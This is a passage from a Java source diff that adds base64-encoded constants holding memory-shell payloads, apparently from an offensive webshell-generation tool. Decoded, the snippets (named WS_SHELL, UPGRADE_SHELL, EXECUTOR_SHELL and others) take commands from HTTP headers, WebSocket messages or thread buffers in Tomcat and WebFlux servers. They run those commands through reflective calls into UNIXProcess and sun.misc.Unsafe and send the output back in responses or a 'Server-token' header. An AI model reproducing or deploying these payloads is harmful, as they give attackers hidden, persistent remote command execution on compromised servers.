xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlVOSVhQcm9jZXNzIik7CgkJCQkJCQlwcm9jZXNzT2JqZWN0ID0gdW5zYWZlLmFsbG9jYXRlSW5zdGFuY2UocHJvY2Vzc0NsYXNzKTsKCQkJCQkJCWJ5dGVbXVtdIGFyZ3MgPSBuZXcgYnl0ZVtjbWRzLmxlbmd0aCAtIDFdW107CgkJCQkJCQlpbnQgICAgICBzaXplID0gYXJncy5sZW5ndGg7CgkJCQkJCQlmb3IgKGludCBpID0gMDsgaSA8IGFyZ3MubGVuZ3RoOyBpKyspIHsKCQkJCQkJCQlhcmdzW2ldID0gY21kc1tpICsgMV0uZ2V0Qnl0ZXMoKTsKCQkJCQkJCQlzaXplICs9IGFyZ3NbaV0ubGVuZ3RoOwoJCQkJCQkJfQoJCQkJCQkJYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CgkJCQkJCQlpbnQgICAgaSAgICAgICAgPSAwOwoJCQkJCQkJZm9yIChpbnQgaTEgPSAwOyBpMSA8IGFyZ3MubGVuZ3RoOyBpMSsrKSB7CgkJCQkJCQkJU3lzdGVtLmFycmF5Y29weShhcmdzW2kxXSwgMCwgYXJnQmxvY2ssIGksIGFyZ3NbaTFdLmxlbmd0aCk7CgkJCQkJCQkJaSArPSBhcmdzW2kxXS5sZW5ndGggKyAxOwoJCQkJCQkJfQoJCQkJCQkJaW50W10gc3RkX2ZkcyA9IG5ldyBpbnRbXXstMSwgLTEsIC0xfTsKCgkJCQkJCQlieXRlW10gYnl0ZXMgID0gY21kc1swXS5nZXRCeXRlcygpOwoJCQkJCQkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCQkJCQkJamF2YS5sYW5nLlN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsIHJlc3VsdCwgMCwgYnl0ZXMubGVuZ3RoKTsKCQkJCQkJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCgkJCQkJCQl0cnkgewoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJsYXVuY2hNZWNoYW5pc20iKTsKCQkJCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCU9iamVjdCBsYXVuY2hNZWNoYW5pc21PYmplY3QgPSBmaWVsZC5nZXQocHJvY2Vzc09iamVjdCk7CgoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkMiA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJoZWxwZXJwYXRoIik7CgkJCQkJCQkJZmllbGQyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJYnl0ZVtdIGhlbHBlcnBhdGhPYmplY3QgPSAoYnl0ZVtdKSBmaWVsZDIuZ2V0KHByb2Nlc3NPYmplY3QpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gamF2YS5sYW5nLkVudW0uY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoIm9yZGluYWwiLCBudWxsKTsKCQkJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCQlpbnQgb3JkaW5hbCA9IGphdmEubGFuZy5JbnRlZ2VyLnBhcnNlSW50KG1ldGhvZC5pbnZva2UobGF1bmNoTWVjaGFuaXNtT2JqZWN0LCBudWxsKS50b1N0cmluZygpKTsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZDEgPSBwcm9jZXNzT2JqZWN0LmdldENsYXNzKCkuZ2V0RGVjbGFyZWRNZXRob2QoImZvcmtBbmRFeGVjIiwgbmV3IENsYXNzW117aW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludFtdLmNsYXNzLCBib29sZWFuLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMS5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDEuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtJbnRlZ2VyLnZhbHVlT2Yob3JkaW5hbCArIDEpLCBoZWxwZXJwYXRoT2JqZWN0LCByZXN1bHQsIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QyID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJpbml0U3RyZWFtcyIsIG5ldyBDbGFzc1tde2ludFtdLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDIuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCQlqYXZhLmlvLkZpbGVEZXNjcmlwdG9yIHN0ZG91dF9mZCA9IG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCk7CgoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kMSA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZE1ldGhvZCgiZm9ya0FuZEV4ZWMiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMS5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDEuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtyZXN1bHQsIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFLCBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpLCBzdGRvdXRfZmQsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCl9KTsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQyID0gcHJvY2Vzc0NsYXNzLmdldERlY2xhcmVkRmllbGQoInN0ZG91dF9zdHJlYW0iKTsKCQkJCQkJCQlmaWVsZDIuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCgkJCQkJCQkJdHJ5IHsKCQkJCQkJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgZGNpc0NsYXNzICAgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuVU5JWFByb2Nlc3MkRGVmZXJyZWRDbG9zZUlucHV0U3RyZWFtIik7CgkJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gZGNpc0NsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30pOwoJCQkJCQkJCQljb25zdHJ1Y3Rvci5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCQlmaWVsZDIuc2V0KHByb2Nlc3NPYmplY3QsIG5ldyBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0oKGphdmEuaW8uSW5wdXRTdHJlYW0pIGNvbnN0cnVjdG9yLm5ld0luc3RhbmNlKG5ldyBPYmplY3RbXXtzdGRvdXRfZmR9KSkpOwoJCQkJCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBuZXZlck1pbmQpIHsKCQkJCQkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQkJCQkJfQoJCQkJCQkJfQoJCQkJCQl9CgoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJnZXRJbnB1dFN0cmVhbSIsIG51bGwpOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IChqYXZhLmlvLklucHV0U3RyZWFtKSBtZXRob2QuaW52b2tlKHByb2Nlc3NPYmplY3QsIG51bGwpOwoJCQkJCQlpbnQgICAgICAgICAgICAgICAgIGEgID0gMDsKCQkJCQkJYnl0ZVtdICAgICAgICAgICAgICBiICA9IG5ldyBieXRlWzEwMjRdOwoJCQkJCQl3aGlsZSAoKGEgPSBpbi5yZWFkKGIpKSAhPSAtMSkgewoJCQkJCQkJYmFvcy53cml0ZShiLCAwLCBhKTsKCQkJCQkJfQoKCQkJCQkJamF2YS5pby5QcmludFdyaXRlciB3cml0ZXIgPSByZXNwb25zZS5nZXRXcml0ZXIoKTsKCQkJCQkJd3JpdGVyLndyaXRlKGJhb3MudG9TdHJpbmcoKSk7CgkJCQkJCXdyaXRlci5mbHVzaCgpOwoJCQkJCQl3cml0ZXIuY2xvc2UoKTsKCQkJCQl9CgkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJfQoJCQkJcmV0dXJuOwoJCQl9CgkJfQ=="; + + public static String CMD_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIHNiLmFwcGVuZChleGVjQ21kKHRoaXMuQ09NTUFORCkpOwp9"; + + public static String WS_SHELL = "ewogICAgdHJ5IHsKICAgICAgICBTdHJpbmcgY21kID0gJDE7ICAgICAgIAogICAgICAgIHRoaXMuc2Vzc2lvbi5nZXRCYXNpY1JlbW90ZSgpLnNlbmRUZXh0KGV4ZWNDbWQoY21kKS50b1N0cmluZygpKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; + + public static String UPGRADE_SHELL = "ewoJCW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3QgcmVxdWVzdCA9ICQxOwoKCQl0cnkgewoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICBjb21tYW5kICA9IHJlcXVlc3QuZ2V0SGVhZGVyKENNRF9IRUFERVIpOwoJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXNwb25zZSByZXNwb25zZSA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXNwb25zZSkgZ2V0RmllbGRWYWx1ZShyZXF1ZXN0LCAicmVzcG9uc2UiKTsKCQkJcmVzcG9uc2UuZG9Xcml0ZShqYXZhLm5pby5CeXRlQnVmZmVyLndyYXAoZXhlY0NtZChjb21tYW5kKS50b0J5dGVBcnJheSgpKSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBmYWxzZTsKCX0="; + + public static String EXECUTOR_SHELL = "ewoJU3RyaW5nIGNtZCA9IGdldFJlcXVlc3QoKTsKCWlmIChjbWQubGVuZ3RoKCkgPiAxKSB7CgkJZ2V0UmVzcG9uc2UoZXhlY0NtZChjbWQpLnRvQnl0ZUFycmF5KCkpOwoJfQoJdGhpcy5leGVjdXRlKCQxLCBMb25nLnBhcnNlTG9uZygiMCIpLCBqYXZhLnV0aWwuY29uY3VycmVudC5UaW1lVW5pdC5NSUxMSVNFQ09ORFMpOwp9"; + + // executor 需要的从线程里获取 request 对象的方法,需要 getFieldValue TAG 属性 + public static String GET_REQUEST = "cHVibGljIFN0cmluZyBnZXRSZXF1ZXN0KCkgewoJdHJ5IHsKCQlUaHJlYWRbXSB0aHJlYWRzID0gKFRocmVhZFtdKSAoKFRocmVhZFtdKSBnZXRGaWVsZFZhbHVlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0VGhyZWFkR3JvdXAoKSwgInRocmVhZHMiKSk7CgkJZm9yIChpbnQgaSA9IDA7IGkgPCB0aHJlYWRzLmxlbmd0aDsgaSsrKSB7CgkJCVRocmVhZCB0aHJlYWQgPSB0aHJlYWRzW2ldOwoJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCVN0cmluZyB0aHJlYWROYW1lID0gdGhyZWFkLmdldE5hbWUoKTsKCQkJCWlmICghdGhyZWFkTmFtZS5jb250YWlucygiZXhlYyIpICYmIHRocmVhZE5hbWUuY29udGFpbnMoIkFjY2VwdG9yIikpIHsKCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQlpZiAodGFyZ2V0IGluc3RhbmNlb2YgamF2YS5sYW5nLlJ1bm5hYmxlKSB7CgkJCQkJCXRyeSB7CgkJCQkJCQlPYmplY3RbXSBvYmplY3RzID0gKE9iamVjdFtdKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZSh0YXJnZXQsICJ0aGlzJDAiKSwgIm5pb0NoYW5uZWxzIiksICJzdGFjayIpOwoJCQkJCQkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBoZWFwQnl0ZUJ1ZmZlciA9IChqYXZhLm5pby5CeXRlQnVmZmVyKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUob2JqZWN0c1swXSwgImFwcFJlYWRCdWZIYW5kbGVyIiksImJ5dGVCdWZmZXIiKTsKCQkJCQkJCVN0cmluZyAgICAgYSAgICAgICAgICAgICAgPSBuZXcgU3RyaW5nKGhlYXBCeXRlQnVmZmVyLmFycmF5KCksICJVVEYtOCIpOwoJCQkJCQkJaWYgKGEuY29udGFpbnMoVEFHKSkgewoJCQkJCQkJCXJldHVybiBhLnN1YnN0cmluZyhhLmluZGV4T2YoVEFHKSArIFRBRy5sZW5ndGgoKSArIDEsIGEuaW5kZXhPZigiXHIiLCBhLmluZGV4T2YoVEFHKSkgLSAxKTsKCQkJCQkJCX0KCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCQkKCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQoJcmV0dXJuICIiOwp9"; + + // executor 需要的将结果写回 response 对象的方法,需要 getFieldValue base64Encode + public static String GET_RESPONSE = "cHVibGljIHZvaWQgZ2V0UmVzcG9uc2UoYnl0ZVtdIHJlcykgewoJCXRyeSB7CgkJCVRocmVhZFtdIHRocmVhZHMgPSAoVGhyZWFkW10pICgoVGhyZWFkW10pIGdldEZpZWxkVmFsdWUoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRUaHJlYWRHcm91cCgpLCAidGhyZWFkcyIpKTsKCgkJCWZvciAoaW50IGkgPSAwOyBpIDwgdGhyZWFkcy5sZW5ndGg7IGkrKykgewoJCQkJVGhyZWFkIHRocmVhZCA9IHRocmVhZHNbaV07CgkJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCQlTdHJpbmcgdGhyZWFkTmFtZSA9IHRocmVhZC5nZXROYW1lKCk7CgkJCQkJaWYgKCF0aHJlYWROYW1lLmNvbnRhaW5zKCJleGVjIikgJiYgdGhyZWFkTmFtZS5jb250YWlucygiQWNjZXB0b3IiKSkgewoJCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQkJaWYgKHRhcmdldCBpbnN0YW5jZW9mIFJ1bm5hYmxlKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3Qgb2JqZWN0cyA9IChqYXZhLnV0aWwuQXJyYXlMaXN0KSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZShnZXRGaWVsZFZhbHVlKHRhcmdldCwgInRoaXMkMCIpLCAiaGFuZGxlciIpLCAiZ2xvYmFsIiksICJwcm9jZXNzb3JzIik7CgoJCQkJCQkJCWZvciAoaW50IGogPSAwOyBqIDwgb2JqZWN0cy5zaXplKCk7IGorKykgewoJCQkJCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbyByZXF1ZXN0ICA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbykgb2JqZWN0cy5nZXQoaik7CgkJCQkJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlICAgIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlcSIpLCAicmVzcG9uc2UiKTsKCQkJCQkJCQkJcmVzcG9uc2UuYWRkSGVhZGVyKCJTZXJ2ZXItdG9rZW4iLCBiYXNlNjRFbmNvZGUocmVzKSk7CgkJCQkJCQkJfQoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJfQ"; + + // toCString + public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ=="; + + // getMethodAndInvoke native 版 + public static String GET_METHOD_AND_INVOKE_OBSCURE = "ICAgIHB1YmxpYyBzdGF0aWMgT2JqZWN0IGdldE1ldGhvZEFuZEludm9rZShPYmplY3Qgb2JqLCBTdHJpbmcgbWV0aG9kTmFtZSwgQ2xhc3NbXSBwYXJhbWV0ZXJDbGFzcywgT2JqZWN0W10gcGFyYW1ldGVycykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBnZXRNZXRob2RCeUNsYXNzKG9iai5nZXRDbGFzcygpLCBtZXRob2ROYW1lLCBwYXJhbWV0ZXJDbGFzcyk7CiAgICAgICAgICAgIGlmIChtZXRob2QgIT0gbnVsbCkgewoKICAgICAgICAgICAgICAgIENsYXNzICAgICAgICAgICAgICAgICAgICBjbGF6eiA9IENsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbCIpOwogICAgICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG0gICAgID0gY2xhenouZ2V0RGVjbGFyZWRNZXRob2QoImludm9rZTAiLCBuZXcgQ2xhc3NbXXtqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QuY2xhc3MsIE9iamVjdC5jbGFzcywgT2JqZWN0W10uY2xhc3N9KTsKICAgICAgICAgICAgICAgIG0uc2V0QWNjZXNzaWJsZSh0cnVlKTsKICAgICAgICAgICAgICAgIHJldHVybiBtLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bWV0aG9kLCBvYmosIHBhcmFtZXRlcnN9KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQ=="; + + // getMethodAndInvoke + public static String GET_METHOD_AND_INVOKE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0TWV0aG9kQW5kSW52b2tlKE9iamVjdCBvYmosIFN0cmluZyBtZXRob2ROYW1lLCBDbGFzc1tdIHBhcmFtZXRlckNsYXNzLCBPYmplY3RbXSBwYXJhbWV0ZXJzKSB7CgkJdHJ5IHsKCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IGdldE1ldGhvZEJ5Q2xhc3Mob2JqLmdldENsYXNzKCksIG1ldGhvZE5hbWUsIHBhcmFtZXRlckNsYXNzKTsKCQkJaWYgKG1ldGhvZCAhPSBudWxsKQoJCQkJcmV0dXJuIG1ldGhvZC5pbnZva2Uob2JqLCBwYXJhbWV0ZXJzKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; + + // getMethodByClass + public static String GET_METHOD_BY_CLASS = "cHVibGljIHN0YXRpYyBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0TWV0aG9kQnlDbGFzcyhDbGFzcyBjcywgU3RyaW5nIG1ldGhvZE5hbWUsIENsYXNzW10gcGFyYW1ldGVycykgewoJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBudWxsOwoJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCXRyeSB7CgkJCQltZXRob2QgPSBjcy5nZXREZWNsYXJlZE1ldGhvZChtZXRob2ROYW1lLCBwYXJhbWV0ZXJzKTsKCQkJCW1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJY3MgPSBudWxsOwoJCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQkJY3MgPSBjcy5nZXRTdXBlcmNsYXNzKCk7CgkJCX0KCQl9CgkJcmV0dXJuIG1ldGhvZDsKCX0="; + + // getFieldValue + public static String GET_FIELD_VALUE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0RmllbGRWYWx1ZShPYmplY3Qgb2JqLCBTdHJpbmcgZmllbGROYW1lKSB0aHJvd3MgRXhjZXB0aW9uIHsKCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmID0gbnVsbDsKCQlpZiAob2JqIGluc3RhbmNlb2YgamF2YS5sYW5nLnJlZmxlY3QuRmllbGQpIHsKCQkJZiA9IChqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCkgb2JqOwoJCX0gZWxzZSB7CgkJCUNsYXNzIGNzID0gb2JqLmdldENsYXNzKCk7CgkJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCQl0cnkgewoJCQkJCWYgPSBjcy5nZXREZWNsYXJlZEZpZWxkKGZpZWxkTmFtZSk7CgkJCQkJY3MgPSBudWxsOwoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQljcyA9IGNzLmdldFN1cGVyY2xhc3MoKTsKCQkJCX0KCQkJfQoJCX0KCQlmLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJcmV0dXJuIGYuZ2V0KG9iaik7Cgl9"; + + // getUnsafe + public static String GET_UNSAFE = "cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9"; + + // base64Decode + public static String BASE64_DECODE_STRING_TO_BYTE = "cHVibGljIHN0YXRpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlieXRlW10gdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQuZ2V0RGVjbGFyZWRNZXRob2QoImdldERlY29kZXIiLCBuZXcgQ2xhc3NbXXtudWxsfSkuaW52b2tlKG51bGwsbmV3IE9iamVjdFtde251bGx9KTsKCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJdHJ5IHsKCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKCQkJCU9iamVjdCBkZWNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQl2YWx1ZSA9IChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30pLmludm9rZShkZWNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKC